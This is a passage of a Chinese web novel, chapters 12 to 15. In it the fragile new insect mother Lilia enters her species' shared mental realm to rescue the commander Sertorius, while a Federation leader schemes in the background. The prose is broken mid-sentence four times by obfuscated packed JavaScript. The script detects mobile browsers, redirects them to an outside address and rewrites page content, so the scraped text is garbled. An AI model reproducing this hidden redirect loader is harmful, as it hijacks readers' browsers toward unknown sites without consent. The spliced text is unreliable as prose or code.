从未如此畅快过,他们竟然能够手刃虫族,今天之前,无人想过这种可能,他们都是做好了必死的准备奔赴而来。今日之后,联邦的历史将留下他们的名字。 无数人冲向塞尔托里乌斯的位置,杀了这位赫赫战功的暴君,该是多么伟大的功绩。 塞尔托里乌斯就站在那里,如同古希腊中直面千军的神祇。 在那道精神命令来到之前,这位暴君已经敏锐地察觉到了,战场上锤炼出的直觉让他下意识选择抵抗。 不可质疑,不可背叛,不可饶恕,不可思想。 这是每个虫族刻在骨骼中的命令,可是此刻,塞尔托里乌斯拒绝接受。 那道命令的主人从未预料过这般情形,她不解,她暴怒,她选择精神绞杀,她要这个不忠之臣灭亡。 精神风暴之中,所有虫族都抑制不住地下跪,唯有一人屹立着,几乎承受了所有的精神绞杀。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460477|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那力量扼住他的咽喉,企图再次入侵他的思想。 失去意识之前,他忽然闻见莉莉亚身上的味道。她的声音,她的温度,她的眼泪在此刻出现,真正意义上侵占了他的思想。 那些试图杀死塞尔托里乌斯的联邦士兵被突如其来的精神力绞杀,又或者说,所有军舰都被这位战场暴君不要命的自爆夷平。 * 战争停止了,可没有胜者,甚至没有生者。 联邦之上隐藏着的人讶然:“竟然可以拒绝虫母吗?” 又淡淡地说:“玛提亚?杰内特瑞克斯,看来,你开始真正失去价值了。” 虫族命运相连,驻守其他星线的战士并未感知到那道命令。可他们看得清楚,前几日还异常明亮的属于塞尔托里乌斯军团长的光点黯淡到看不出来。 不仅是他,第二星线精锐部队的生命都虚弱到无法察觉。 于是轮到他们拿起武器,无畏地走向战场。 莉莉亚跟在卡尼菲克斯身后闯进这片混乱的地界。 她整个人都藏在灰色军装之中,这衣服太大了,极不合身,路过的虫族甚至能瞥见她身上素白长袍。 他们觉得这个身材娇小的虫族身上有极好闻的味道,脑海中却一片空白,只是向前走去。 远在主星的虫母比卡尼菲克斯更早感知到这场战役,她还来不及思考,眼泪已经落了下来。 可是卡尼菲克斯不允许她跟来,甚至第一次拒绝她的请求,把她锁在寝宫之中。 但莉莉亚还是跟来了,她很小心,一遍遍默念着不要被发现,小脸的泪痕都未擦干,眼眶红红的,看上去脆弱无比。 于是她进门时才被发现,所有人都来不及敛去眼中的震惊。 为什么? 她为何在此刻降临? 如果说外面忙碌的虫族不知实情,可站在这里的虫族,都是位高权重的军官,他们心知肚明这场战役到底发生了什么。 莉莉亚没见过他们这样的眼神,她感到陌生,下意识要去寻找塞尔。 他满身是血,静静地躺在那里,翅翼已不受控制地张开,却没有一丝生气,像断线的风筝。 “塞尔。” 她又一次扑上去,跑得太快了,甚至跌倒在他床前,眼泪止不住地落下。 “救救他。” 此刻的莉莉亚是担心孩子的妈妈,她亲眼看着塞尔托里乌斯躺在这里,不再生机。 “陛下,他已经陷入精神领域中了,他不会醒来了。”阿拉里克在所有人犹疑的目光中开口。 “这是他的命运。” 的确,虫族足够冷漠,除了虫母,他们不关心任何,即使是同胞。 此刻的塞尔托里乌斯没有给他们任何人带来悲伤,死去的或即将死去的虫族没有任何价值。他们站在此处,不过是想看清虫族的未来。 莉莉亚不可思议地看向他们,她伸手去抓阿拉里克的衣角,哀求他:“阿拉,我们要救他的,对吗?” 12. 错位守护 “陛下,这就是虫族。”阿拉里克就这样平静地看着她,看她心急如焚,看她痛心到不断绞紧的手指。 他继续说道:“不过,如果您坚持的话,我可以进入他的精神领域。” 话音刚落,在场所有的虫族没有看向决定承诺冒险的阿拉里克,而是都看向她,他们想要知道,这个可能已经背弃他们的虫母,会做出怎样的选择。 也许,她所有的眼泪都是虚假的,每一次倾听都是不愿的,她厌恶他们,所以决定灭亡他们。 尽管不愿承认,可这些虫族看到她流泪,看着她为塞尔托里乌斯急到颤抖,竟然有种即便如此又如何。如果她想的话,他们会乖乖听话,为她而死。 莉莉亚还穿着那件灰色军装,脸上不是前几日的恬淡,眼睛红红的。听见阿拉里克的话,她稍稍安下心来,是这样的,她的孩子们才不会是那样冷漠的存在。 这只不过是他们和她玩的一个小游戏。 她松开抓着阿拉里克衣角的手,要去握他的手指。 可是那身军装太大了,阻碍她的行动,于是她手忙脚乱地脱下军装,只露出那身素白长裙。 塞尔托里乌斯的呼吸更弱了,第三星线明明不会有自然的风吹过,可是莉莉亚却能够听见她的孩子们在呼唤她。 他们很痛苦,他们需要她。 在这一刻,她知道了阿拉里克未说出口的话,虫族的精神领域在清醒时独立,在痛苦时连通。 他们都将死亡。 能够压制所有精神暴动的塞尔托里乌斯本就因为这般天赋饱受痛苦,又独自承受了绝大部分的精神控制,甚至为了震慑联邦,选择自爆。 在场的虫族陷入这场无知觉的精神领域,唯有尤安还醒着。那道命令降临时,他也曾被控制着无法动弹,却也是塞尔托里乌斯强行破开控制后唯一还能站着的存在。 尤安不知道原因,他只知道,当他挣脱时,闻见虫母的味道,那午夜梦回之际无法忘怀的气息。 她的味道少见的具有攻击性,直接闪入他的精神领域,若不是他尽力抵挡,只怕也同这些人一般。 可是尤安到底是新生的高等虫族,他是莉莉亚赐下的奇迹。奇迹的创造者并没有告诉他该如何效忠,又或者说,她自己都不清楚要如何索取爱意,只是一味地献上自己的心。 被恩赐的人却以为未见过的保护就是伤害,尚未了解原因,看到恩赐者不同往常的行为就心生疑窦。 因为没有被爱过,因为被放弃过,所以他们认为自己不配这样的爱,从未相信过自己能够得到这样的爱,只是下意识认为这是惩罚,是背离,是再一次抛弃。 若是莉莉亚知道他们的想法,一定会非常难过的。原来她的保护在他们眼中竟是背叛,她全然信任的人随意质疑她的真心。 幸好此刻,莉莉亚一无所知。 她只是看着阿拉里克的眼睛,轻声开口:“可是你会有危险的,对吗?” “如果塞尔比较排斥的话,阿拉会和他一起死的,对吗?” 虫母拒绝了这个承诺,第一次严厉喝止了他。 “这是不被允许的,阿拉里克。”她那么严肃,仅仅只是为了阻止他涉险。 阿拉里克,塞尔很重要,其他的虫族很重要,但我不会允许你受伤的,所以,我应该去。 “让母亲涉险是废物的行径。”阿拉里克竭力压制心底那个不断涌动的猜想,还要试探,他单膝跪地,双手伏在莉莉亚的膝边,看着她。 莉莉亚已经镇定下来了,她是妈妈,妈妈要保护自己的孩子,即使付出一切。 她的眼神如水般温柔,只是轻轻吻了他的额头,安慰道:“别担心,阿拉里克,我会成功的。” 那个吻柔软如花瓣,印在阿拉里克的额头上,也将伴随这位执政官的一生。 * 周围的虫族就这样看着她轻描淡写地决定要去拯救他们。 她真的明白自己承诺了什么吗? 虫母的存在确实能够消解虫族的精神狂化,但他们并非联邦以为的唯一幸存者。 他们献祭了自由思想,与虫母交易。她拥有这个种族的绝对控制,也承担这个种族的最后因果。 慢慢地,这种交易令所有人扭曲,虫族痛苦地臣服于她,他们告诉自己,这是对伟大母神的忠诚。 唯有这样,他们才能生存。 虫母感受到了这样热烈的爱,开始忘记自己的名字。 奥瓦里安成为他们共生绞杀的见证。至此,虫族与虫母无法分离。可即便如此,即便这般连结,也从未有虫母愿意为了他们涉险。 即使这其中有她引以为傲的高等虫族。 可莉莉亚站起来,若非她提起裙摆,他们不会看见那因跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460478|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒而洇着淡粉的膝盖,也不会发现那藏在素色长裙中双腿有些发颤。 她在害怕,还是疼痛? “我应该怎么做?”她的哀伤而坚定的目光却注视着在场的所有虫族,最后回到躺着的塞尔托里乌斯身上。 “我不同意,陛下根本没有能力保护自己。”卡尼菲克斯避开她的眼神,还是坚持。 “她任性,难道你们也要陪她闹吗?” 莉莉亚睁大眼睛,卡尼为什么会这样想,他太过于担心她了。 她是妈妈啊,妈妈就是生来要保护孩子们的。 他的质问震耳欲聋,除了阿拉里克,所有虫族都不敢直视卡尼菲克斯的眼睛。 他们知道这很危险,但他们更知道自己的心在迫切等待一个答案。 她愿意吗? 她愿意保护他们吗? 见过光明的人总是贪恋更多,就在刚刚,他们得到了承诺,可是此刻,他们已经不满足于承诺了。 请您证明,证明您真的在意我们,证明您真的在注视我们。 用您的行动,妈妈。 即使死亡降临,我们也想得到这个答案。 * “即使这将死亡,我也要去。” “这是我的答案。” “卡尼菲克斯,你必须听从。” 莉莉亚说完就有点后悔了,她是不是对卡尼太凶了,她也不想这样的,可她实在太担心了。 虫族的复眼让他们把虫母的神情看得一清二楚,他们如蒙大赦。 看吧,她退缩了,她后悔了。他们没有伤害全心爱着自己的母亲。 因为眼前的虫母并非真情,他们有些激动,以为这是洞悉真相的畅快,可却不知自己的心已经千疮百孔了,凛冬一瞬降临。 “抱歉,卡尼,我也不想凶你的,我只是,我只是太着急了。”莉莉亚急切地解释道,心里还是放不下这些正在受苦的孩子们。 她太认真太痛苦了,以至于忽视了身边那些虫族骤然晦暗的眼神。 那粘稠的情欲仿佛要流出来,爬上她的身体,无时无刻陪伴着她。 她是真的爱着他们,没有什么比这更加美妙了。 有些虫族已经准备拒绝了:“陛下,没有什么比您珍贵。” 阿拉里克却抢先开口:“如果您坚持的话,请答应我一件事情。” 13. 梦中身(1) 莉莉亚的面前是一个巨大的特制容器,里面装着透明液体,在冷光的照射下令人感到窒息。 “阿姆尼依圣水可以保护您,除非您进入其中,否则,将永远无法找寻到他们。” 莉莉亚没想到阿拉里克的条件如此简单,这根本不需要思考:“好,我会待在里面的。” 她的声音有些哑,说话间总是忍不住咳嗽。 卡尼菲克斯看着她迫不及待地要走进他们的陷阱,忽然记起,这段时间,是他陪伴着她。 似乎从她见过塞尔托里乌斯之后,就变得怏怏不乐,不喜欢说话了。 那些虫侍很着急,却被塞尔托里乌斯警告,不用寻找维塔利斯。 他认为一切都还在掌控之中,小虫母只不过是在发点无伤大雅的小脾气,故意不说话而已,或许这只是她的恶作剧,不然为什么连自己都要拒绝维塔利斯。 塞尔托里乌斯告诉自己,她没有心疼他们,只不过是天生擅长迷惑虫族而已,所有的一切不过是她偶然兴起。 可第五天,莉莉亚还是这般,甚至更加沉默。每天都皱着一张小脸,看见虫族时却会挤出点笑。 “笑得真难看。”塞尔托里乌斯才不管她不高兴于这个评价,他已经派人去找维塔利斯了。 被发现真相又怎么样,他大可以控制住那个小小的医师。 就是不想再看见莉莉亚这样沉默,她不说话时,整个主星就陷入千年间的沉默。 可是她拒绝了,躲起来,说什么都不愿意去找维塔利斯。 塞尔托里乌斯知道,她甚至废了好大力气用柜子抵住门,还自以为隐蔽地藏进了柜子里。 他抬手敲了敲门,用了点精神力,轻声却不容置疑地说:“出来。” 说完又有些懊恼,会不会吓到她:“我不进去,你现在从柜子里出来,听话。” 藏在柜子里的莉莉亚有些委屈,她只是不想孩子们担心而已,塞尔为什么要凶她。 前几日被塞尔托里乌斯亲手缠在她身上的精神力感知到她的情绪,讨好地蹭蹭她软乎的脸颊。 他可以面无表情地杀死所有的敌人,却无法应对这样柔软的存在。 见她还是不愿意,甚至委屈地要落泪,从无败绩的男人率先投降:“我保证不去找维塔利斯。” “也不告诉别人。” 他一说完,莉莉亚就钻了出来,爬上床,要睡觉了。 因为她相信,塞尔是不会骗她的,虽然他总是一副你很麻烦的样子,却从来不想有意惹她伤心的。 莉莉亚说我是一个宽容的好妈妈,我原谅塞尔了。 塞尔托里乌斯进来的时候,她已经睡着了。 外化的精神力替她掖好被子,乖乖缠在她的手腕上,完全看不出它能杀人于无形。 床边的男人看了一眼那不知天高的精神力。 很好,这么快就成了摇着尾巴求她垂怜的狗。 真是给他丢脸。 卡尼菲克斯第一次收到塞尔托里乌斯的个人信息——记得哄她去见维塔利斯。 * 即使是卡尼菲克斯也没有成功,莉莉亚第一次展现出她的执拗,拒绝去看医生。 好在她的喉咙慢慢好了,开始恢复之前的状态。 此刻,莉莉亚淹没在那透明的圣水之中,一开始,她好像有害怕,紧紧攥着裙角,睫羽乱颤。 慢慢的,她平静下来,她要去找他们了。 卡尼菲克斯并不知道她是如何躲过层层守卫,偷偷跟着他来到这里的。 虫母可以控制虫族的思想,若是她想的话,确实可以蒙蔽他们的双眼。 可她如何能经受那般强度的时空跃迁,她那么弱小,要如何在宇宙罡风中保护自己。 阿拉里克却已经拿到了行军记录,他们看着记录仪中的小虫母。 宇宙罡风猛烈地吹着,弱一点的虫族士兵都要蜷缩身体,她连站都站不稳,只能趴下,躲在一旁的武器堆中,惨白着小脸,不住颤抖。 来到这里之后,被无声质疑着,被逼迫着证明自己,她都对自己的经历一声不吭,好像那个受伤的人不是她。 所有人都忍不住去看她,他们小小的妈妈被圣水淹没,那圣水不会流动,只是平静地包裹着她。 在冷光之下,好像有什么闪烁在她的脸颊。 她流泪了吗? 她为什么流泪? 她知道他们曾经怀疑她,质疑她,要求她了吗? 她会厌恶他们吗? * 尤安站在最角落,一脸灰败,他看见了莉莉亚的选择,她那么坚定,她那么爱他们。 可他还是相信自己的判断,虫化的锋利指甲深深陷进他的掌心,血沿着指缝一滴一滴往下落,他绝不会认错母亲。 “你宁愿相信自己不会认错她,也不愿意相信她。”阿拉里克看着他,微笑着说。 “但是虫巢思维的强大,您比我清楚。我可以用我的生命立誓,那不是精神攻击,那是一道命令,居高临下,她要我们投降。”尤安还是坚持。 卡尼菲克斯直截了当地说:“他们醒来后,只要调动虫巢思维,真相就会浮现。” 那个时候,是被迫接受再次被舍弃的现实,还是祈求她的原谅,他们都必须做出选择。 阿拉里克见时间差不多了,他该去谈判了。 这个刚刚算计了虫母的执政官要奔赴属于他的战场了。 卡尼菲克斯也要去安置战士,留下的虫族将会在此处,拼尽一切守护着他们的母亲。 就在此时,所有人的光脑响动。 全体法布尔都发送了这条信息,有人打开,莉莉亚曾经弹奏的钢琴曲倾泻而出。 “这是母亲为我们弹奏的曲子,她弹奏的时候一直在笑。” “我的意思是,这样的她会伤害我们吗?” 她在圣水之中,如同镜中圣母,脆弱优雅。 可本该被保护的母亲却静静地流泪,她磅礴的悲伤如暴雨一般,压得他们喘不过气来,这是前所未有的痛苦。 阿拉里克隔着玻璃看着莉莉亚,她的眼泪是断线的珍珠,对于他这样了解古地球文明的人来说,这首曲子,不够连贯,不够动听,但却比他曾听过的任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460479|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何音乐都让他平静。 他甚至能够想象,莉莉亚还是穿着她喜欢的墨绿的长裙,坐在那白色钢琴前,边弹奏边羞涩。 她的指法有些凌乱,不够熟练,但还是红着耳朵坚持,因为她坚信一个好妈妈要给孩子们谈摇篮曲。 阿拉里克很早就发现了,莉莉亚不像任何一位虫母,她更像是古地球记录中的母亲,愿意为了孩子付出一切。 她并不熟练,就是一个新手妈妈,不知道如何树立母亲的威严,更不知道虫族的欲望。 他们不会只愿意让她做他们的母亲,她必须是他们的妻子,是他们欲望的最后归宿。 如果有一天,这个天真的妈妈发现了他们粘腻隐晦的心思,会是怎样的反应呢? 阿拉里克饶有趣味地想,或许只有那个时候,她的眼泪才不会让人心痛吧。 他想起初见时,她犹豫再三,不曾说出自己的名字。一开始,他以为那个未说出口的名字会是玛提亚,可是现在,他否定了曾经的自己,他想知道她的名字。 那个属于她的名字。 * “日安,阿拉里克执政官。” “我并不认为,我应该感到安心,里托主席。” 光幕之中的男人看上去年岁极大,岁月在他脸上留下了不可磨灭的痕迹,却也雕琢了他的能力。 里托是联邦联席制的创始人,他曾是享誉星际的英雄。 这个男人率领起义军杀死了帝国君王,推翻了层层固化的统治,他一手建立联邦,又选择急流勇退,将权柄交予所有人。 他说:自由属于联邦。 可是阿拉里克清楚,权力是缠绕的毒蛇,凡是拥有过的人都不会轻易放弃。 就如同现在的联邦,表面上高喊自由,有着无视阶级的轮值主席,可是权力还是牢牢掌握在里托手中。 “对于虫族的遭遇,我深表遗憾。” “可您清楚,联邦并非我的一言堂,还请恕罪。” 阿拉里克不知可否,笑着说:“里托主席未免太过谦虚,联邦之中,唯有您真正热爱和平与自由,我又怎会不懂。” 里托的脸上瞬间展露一个笑容,眼中如古井般,毫无笑意:“眼前人非所念人,或许,执政官不应该对虫族的忠心这般自信。” 他们又打太极般地说话,比起他的狠辣,阿拉里克显得进退有度,却没失去一分该有的利益。 里托脸上不恼,心中却还是有气。是啊,千年过去了,他已经老了,阿拉里克却还是年轻,他是虫族,拥有超越联邦众人的生命。 没有什么可以威胁他一手创立的联邦,这是他的联邦。 在结束交易的那一刻,阿拉里克清楚地看见,这个狡诈的男人无声地喊道:“玛提亚。” 他竟然知道虫母的名字,可实际上,虫母的名字总是被虫族珍藏,他们绝不会让其他种族窥见他们的母亲。 里托是故意的,他在告诉阿拉里克:我曾见过虫母。 他喊得是上一任出走的虫母,还是如今沉睡的,他们的妈妈。 阿拉里克由衷希望,不会是她。 14. 梦中身(2) 里托已经很老了,他不是之前那个大英雄了,他已经垂垂老矣了,现在已经离不开拐杖。 屏退周围的人,他将干涩枯涸的精神力注入面前禁闭的门,那看上去平平无奇的门发出沉重的一声,陡然打开。 这个联邦背后真正的主人,拄着拐杖,走进去。 金属光泽的休眠舱里有一个沉睡的女人,干净恬淡的脸颊毫无血色,像是一尊在美梦中逝去的神女像。 休眠舱直立着,一旦进门就能看见她。 沉睡的,背叛的玛提亚·杰内特瑞克斯。 “你应该知道了吧,一个新的玛提亚出现了。” 里托静静看着他的此生最满意的艺术品,良久才开口。 一道精神力化作飞刃刺来,停在他的额前。 “我们约定过,你不能打扰妈妈。” “你的妈妈可不是这个玛提亚吧。” “新的虫母好像颇有威望,即使是难缠的阿拉里克也不愿意动她。” “不对,我忘记了,遇上玛提亚,每个虫族都会变成蠢货。”他说完有些嘲讽地笑了。 即使那道飞刃已经刺穿他的脑袋,里托也在刺激他。 虫族是多么可笑的种族,即使被背叛也无怨无悔的守护。 该说是玛提亚的魅力吗? 那么这个新的玛提亚会是什么样的? 那封信竟然没有让她醒悟过来吗? 还是只想做那些虫族的母亲,做头戴假王冠的君王,让他们陪着过家家。 里托并不在意被刺穿的伤口,只是很好奇,如果新的玛提亚像这个沉睡的女人一样,知道自己只是一个可笑的符号,也会选择投入他的怀抱吗? 那个时候,阿拉里克这个难得的对手是会保持冷静,站在博弈场上,还是成为败犬,摇尾乞怜,让联邦真正收服虫族。 看看阿尔戈斯,被她抛弃之后,像一条狗一样追来,不论发生什么都站在她的身后。 他看着其他虫族在苦苦等待中死去,甚至愿意配合联邦进行虫族试验,仅仅是因为玛提亚沉睡之前赏了他一个好脸色,让他在这里守着她。 有时候,里托真的很好奇,这种基因的牵绊到底是什么样的感觉。 毕竟,我可没有母亲,他随手拔出脑袋上的飞刃,收进掌中,看了一眼沉睡的女人,淡淡地想或许,我也曾有过妻子。 “阿尔戈斯,你要捍卫她的荣光。” * 这是一个极度寒冷的地区,那些因为精神暴动死去的人游荡在这里,他们是在愤怒中死亡的,死后没有灵魂,只有想要摧毁一切的恶意。 他们没有自我,逸散的精神力却化作狂风,顺着死前的怒火凛冽,刀刀割剜着生者。 狂风掀起莉莉亚的长裙,更吹得她睁不开眼睛。 这里是一片寂静荒芜的雪原,如同她记忆中快要模糊的地球。 那时,她欣喜于自然的轮转变换,感慨生命伟大,能存活于酷寒之中。 可是现在她很脆弱,只穿了一件单薄的长裙,赤着脚,站在冰天雪地之中。 好在阿拉里克告诉她,所见皆是梦境,只要她的内心不惧,便不会被伤害。 可是他也告诉她,这个梦境是虫族共同的精神世界,它血腥冷酷但极度脆弱,任何一个举动都有可能毁掉这里。 莉莉亚很听话,她双手护在胸前,轻轻地走着。 明明长发都被风吹起,如绸缎般扬在空中,却还是忍着不住加速的心跳,小心翼翼地走着。 这个炼狱诞生以来,从没有这般温柔的到访者。 在他们眼中,每当有新的虫族进入时,就是一场新的厮杀。 他们会像为了得到母亲的赞誉般拼尽全力,不顾一切地化出原型,缠斗厮杀,没有目的,只是泄愤,只是机械般地斗争。 可是这个弱小的女人赤着脚踩在雪地上,一步一步地朝着前面走去。 她强忍着风睁开眼睛,圆乎乎的眼在探寻着什么。 莉莉亚在冰原上走了很久,久到她的思维已经被冻住了,久到她的脑海中只有这片空茫的白。 她是谁?她要寻找谁?她为谁而来? 她走得越来越慢,从高处看去,就像一个即将停止的小点,要睡在这里。 * “快点,去晚了就等着死在这吧。” “可我已经跑不动了。” 有两个虫族从莉莉亚身旁跑过,却仿佛看不见她一般。 莉莉亚茫然地看着他们,她有点忘记自己是谁了。 可还是提起脚步,跟着他们。 她的身量极小,跑得磕磕绊绊,自然追不上那两个虫族。 眼前却突然出现了一座城,巍峨冷硬,透着一股肃杀之气。 城防台上似乎高高悬着数十面战旗,风这般大,却吹不动,只是轻微地摇晃着,好像很重。 一路上,她看见很多人从她身边经过,却没有人回头看过她一眼。 他们看不见她吗? 好几次,莉莉亚都想要伸手抓住他们,却总是失败。 如果她此时还清醒的话,就会感到疑惑,之前的她为什么次次都能抓住他们的衣角。 可是现在,她并不记得。 莉莉亚终于爬上来城墙,这里的风更大了,几乎要把她刮下去,她只能俯下身子,小心翼翼地走着。 她没有目标,不知道自己想要做什么,只是傻傻地跟着那些虫族。 不知为何,她只想跟着这些虫族,好像自己应该为他们做些什么,好像他们应该一直待在一起。 她知道他们看不见她,于是悄悄躲在一个虫族的身后,借着他挡住袭来的风。 那双手终于再次抓住了他的衣角,就在她紧紧握住那衣角时,那个虫族忽然浑身一震,猛然回头。 他感觉到一股极轻柔的触碰,刺痛的精神力也像得到安抚般消停下来。 身后空无一人,身旁的虫族不善地看了他一眼:“在疯什么,专心点,没人想给你陪葬。” 他们是在莉莉亚之前的新到访者,还尚存着一些意识,没被完全同化。 任何一个因为精神狂化而堕落的虫族都会来到这里,在这里,有着所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460480|169734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死亡的虫族意识,他们会选择无尽的杀戮,用同族的鲜血喂养自己。 曾经,每一任虫母都会在逝去之后来到这里,她能安抚这群可怕的战争疯子,虽然还是有着杀戮,可不会像如今一般可怕。 一切改变在上一任虫母出走之际,她说:“我要自由了,她们也应该自由。” 她以为自己结束了历代虫母被生死皆囚的命运,可那些柔弱的,从未经历过风霜的虫母们,在离开的一瞬间,就消失在宇宙之中。 她们被保护得太好了,好到根本无法离开虫族的拥抱,只能永远待在他们的怀里,遮住所有风雨。 这里的虫族失去了母亲,她们消失了,于是他们恐惧,愤怒,然后开始杀戮。 即使在某种程度上来说,这些虫母很少施舍他们眼神,可妈妈的存在就足够让他们欣喜了,又怎会在意她的目光不在此处。 只要妈妈存在,一切都将存在。 * 莉莉亚被他吓得跌倒在地,膝盖都磕破了,有点害怕。 就在她准备爬起来时,那些等待已久的杀戮者降临了。 猛烈的罡风袭来,卷来浓烈的血腥味,他们要杀掉这些生前拥有妈妈的好运儿。 虽然莉莉亚堪堪到那个回头的虫族的肩膀,那个虫族却达不到一般水平。 他被掀翻在地,倒在莉莉亚身边。 那罡风已经割破了他的皮肤,鲜血汩汩地流出,浸湿她的衣裙。 杀戮者威严地巡视着自己的杰作,失去母亲之后,他们早就不担心虫形吓到母亲,由着野性,狰狞可怕地杀戮着。 这个有着猩红的外壳的虫族喜欢将猎物折磨得奄奄一息,然后看着严寒夺走他们的生命。 可这个早早被囚禁在这里的虫族并不知道,漫长的演化,让虫族开始适应这样的低温。 有些虫族的体温甚至比这冰原上的雪都要寒凉。 他饶有兴趣地看着这些新进的人垂死挣扎,忽然有一抹鲜亮的颜色闯进他的眼中。 妈妈。 是妈妈。 她那身素白长裙上沾满了那个虫族的血,眼睁睁看着他消散在眼前,化成光点,贪恋般地绕在她的指尖。 这片冰原迎来了第一场中途停止的杀戮,如同星舰般的庞然大物纷纷睁开了可怖的复眼。 这是妈妈。 这不是妈妈。 温热的眼泪不住地流下,莉莉亚满脸都是泪,那个虫族消失的瞬间,她全都记起来了。 她是玛提亚?杰内特瑞克斯,是新生的虫母,她有义务在浩瀚宇宙中养育她的孩子们,保护他们,从生至死,陪伴他们,永不背弃。 莉莉亚告诉自己,不许再哭了。她用力擦了擦脸颊,睁着红红的眼睛,张开双手,她在祈求一个拥抱。 她要拥抱她的孩子们,让他们不再愤怒。 杀戮者警告自己,这不是他们的妈妈,她身上没有妈妈熟悉的味道。 但是没关系,他们勾起一抹诡异的笑,如果把她留下来,他们就重新拥有妈妈了,就算她是一个赝品,他们也要寄生她,吞噬她。 15. 梦中身(3) 狂风之中,素白长裙的女人踩在一地流动鲜红的血上,她张开的手臂的细长脆弱,给人一种下一秒就会被风折断的错觉。 莉莉亚暂时停下了这场杀戮,但是这些她并不熟悉的虫族并未表现出应有的温顺。 他们应该像外面那些等待的虫族一样,安静地听从她的命令,做一个不打架的好孩子。 可她的长发随风飘扬,柔弱易折的女人昂着头,嚣张可怕的虫族垂眸,居高临下地看着她。 那些还活着的虫族终于发现了自己的母亲。 他们甚至不敢相信:“妈妈!” “妈妈为什么会在这里。” “那群废物都在做些什么?” 他们看着这个小小的妈妈站在风中,明明是极脆弱的人,却一动不动地看着那些杀红了眼的虫族。 莉莉亚觉得自己被拒绝了,她确实承受不住这般大的风,张开双臂就像拥抱风一样,她想这样看上去好像有点傻。 在她站不住了,无奈放下手的下一秒,为首的虫族有点残忍地笑着,然后用巨大无比的翅翼在空中划了一道。 即使是同他一起杀戮的虫族也没有想到他会忽然发难,想要阻止已经来不及了。 那道锋利无比,满载恶意的气刃已经朝那个弱小的虫母袭去。有人已经闭上了眼睛,因为她就要死了。 站在她身边的虫族纷纷上前,要替母亲抵挡这攻击,可他们尚未熟悉如何利用此处的力量,连动弹都很难,更别说守护了。 这是不同于现实的精神领域,任何人都不能无视新的规则。 联邦既羡慕又好奇的虫巢思维,在赋予他们超越任何种族的精神统一的同时,也预示着虫族的命运终将写在同一张纸上。他们的精神暴动如同瘟疫一般,会在种族之间传染。 越是强大的虫族越容易陷入精神暴动,也越容易影响其他的虫族,直到所有人都坠落深渊。但是虫母不会受到影响,她会是救世圣母,唤醒他们的理智。 但是从前的虫母很少拯救他们,那些高等虫族会在这些低等的兄弟陷入暴动时,杀死他们。 这是多好的解决方法,只要他们死了,就不会威胁虫族了。 至于这些随意宣告死刑的高等虫族,他们最容易得到虫母的垂青,母亲的气息,声音,温度都能够安抚他们。 若是他们中的某一个不幸陷入精神暴动,也从未有过虫母亲自进入精神领域的先例。 这里太危险了,不是妈妈应该来的地方。 有时虫母要求他必须活着,那么他们只能硬生生撬开他的精神领域,然后一起死去。 除了莉莉亚。 她是唯一一个愿意拯救的虫母,她说话时声音颤抖,眼圈红得不行,让他们以为,即使现在塞尔托里乌斯并没有躺在这里,她也会愿意踏足深渊,为了他们,为了他们这样卑微的存在。 * 莉莉亚没有害怕,她还是安静地站着,睁着眼睛看着那个发难的虫族。 那个虫族收起复眼,气刃在最后一刻偏离方向,生生斩断她飞扬的乌发。 这个全然相信他的妈妈在下一刻被他拥入怀中,他已经完全化作原型。 坚硬的外壳硌红了莉莉亚的脸,她小声痛呼,却没有挣扎,而是双手轻轻抚摸他无机质的复眼。 “乖,不可以欺负弟弟。” 她以为他们是她的孩子。 真可笑,没有一个虫母会在意与自己无关的孩子,即使他们都是虫族。 虫母来自奥瓦里安最深处,她出生时,就会孕育出自己的孩子。 不过,她的孩子们会先一步来到这个世界,拼尽全力长大,为她修建整个宇宙最安全的城堡。 然后她才会出现,作为一个比自己孩子都小的妈妈,她要承担起妈妈的责任,安抚他们,她要承担起妻子的义务,亲吻他们。 这些杀戮者早就来到这个地狱了,他们的母亲早就消失在那一次出逃了。 她原本是多好的母亲,不拒绝他们,愿意承受他们所有的欲望。 